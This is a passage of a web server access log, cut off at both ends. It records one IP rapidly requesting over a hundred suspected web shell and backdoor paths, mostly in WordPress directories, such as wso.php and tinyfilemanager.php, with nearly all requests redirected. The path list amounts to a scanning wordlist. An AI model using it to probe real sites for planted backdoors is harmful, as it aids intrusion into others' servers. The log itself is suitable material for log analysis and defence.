"GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:13:53 +0300] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:13:54 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:13:54 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:13:55 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:13:55 +0300] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:13:56 +0300] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:13:56 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:13:56 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:13:57 +0300] "GET /firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:57 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:58 +0300] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:58 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:59 +0300] "GET /images/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:59 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:13:59 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:00 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:00 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:01 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:01 +0300] "GET /wp-admin/theme-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:02 +0300] "GET /wp-admin/css/colors/blue/abc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:02 +0300] "GET /wp-admin/maint/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:14:02 +0300] "GET /wp-content/themes/twentytwentyfour/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:03 +0300] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:03 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:14:04 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:04 +0300] "GET /wp-includes/js/dist/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:14:04 +0300] "GET /wp-admin/css/colors/tfileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:05 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:05 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:06 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:06 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:14:07 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:07 +0300] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:14:08 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:14:08 +0300] "GET /waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:08 +0300] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:14:09 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:09 +0300] "GET /wp-admin/css/glex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:10 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:10 +0300] "GET /wp-includes/SimplePie/Parse/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:10 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:11 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:11 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:12 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:12 +0300] "GET /wp-content/themes/pridmag/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:13 +0300] "GET /theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:13 +0300] "GET /wp-content/themes/twentytwentytwo/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:14:13 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:14 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:14 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:14:14 +0300] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:14:15 +0300] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:15 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:16 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:14:16 +0300] "GET /css/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:17 +0300] "GET /images/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:17 +0300] "GET /wp-includes/SimplePie/Cache/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:18 +0300] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:14:18 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:19 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:14:19 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:14:19 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:20 +0300] "GET /wp-content/plugins/pwnd/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:20 +0300] "GET /wp-includes/widgets/class-wp-widget-search-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:14:21 +0300] "GET /wp-content/languages/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:21 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:14:21 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:14:22 +0300] "GET /admin/controller/extension/extension/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:14:22 +0300] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:14:23 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/uss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:23 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:23 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:14:24 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:14:24 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:14:25 +0300] "GET /wp-includes/class-feed-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:25 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:14:26 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:26 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:26 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:27 +0300] "GET /wp-content/themes/twentytwentyfour/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:14:27 +0300] "GET /wp-includes/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:28 +0300] "GET /wp-includes/class-wp-dependency-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:28 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:14:28 +0300] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:29 +0300] "GET /wp-includes/interactivity-api/interactivity-api-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:29 +0300] "GET /wp-includes/l10n/class-wp-widddget-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:30 +0300] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:14:30 +0300] "GET /wp-admin/css/colors/light/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:14:31 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:14:31 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:31 +0300] "GET /wp-includes/ID3/module.audio-video.riff-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:14:32 +0300] "GET /fog/management/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:14:32 +0300] "GET /wp-includes/js/tinymce/utils/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:33 +0300] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:14:33 +0300] "GET /images/wp-aespa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:34 +0300] "GET /wp-includes/Text/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:34 +0300] "GET /.well-known/acme-challenge/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:35 +0300] "GET /wp-content/upgrade/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:35 +0300] "GET /wp-content/themes/aahana/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:35 +0300] "GET /anonse/lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:36 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:36 +0300] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:14:37 +0300] "GET /plugins/content/apismtp/apismtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:37 +0300] "GET /wp-admin/includes/class-core-upgrader-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:38 +0300] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:38 +0300] "GET /.well-known/save.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:38 +0300] "GET /wp-includes/feed-rsss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:14:39 +0300] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:14:39 +0300] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:40 +0300] "GET /uploads/af32.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:14:40 +0300] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; 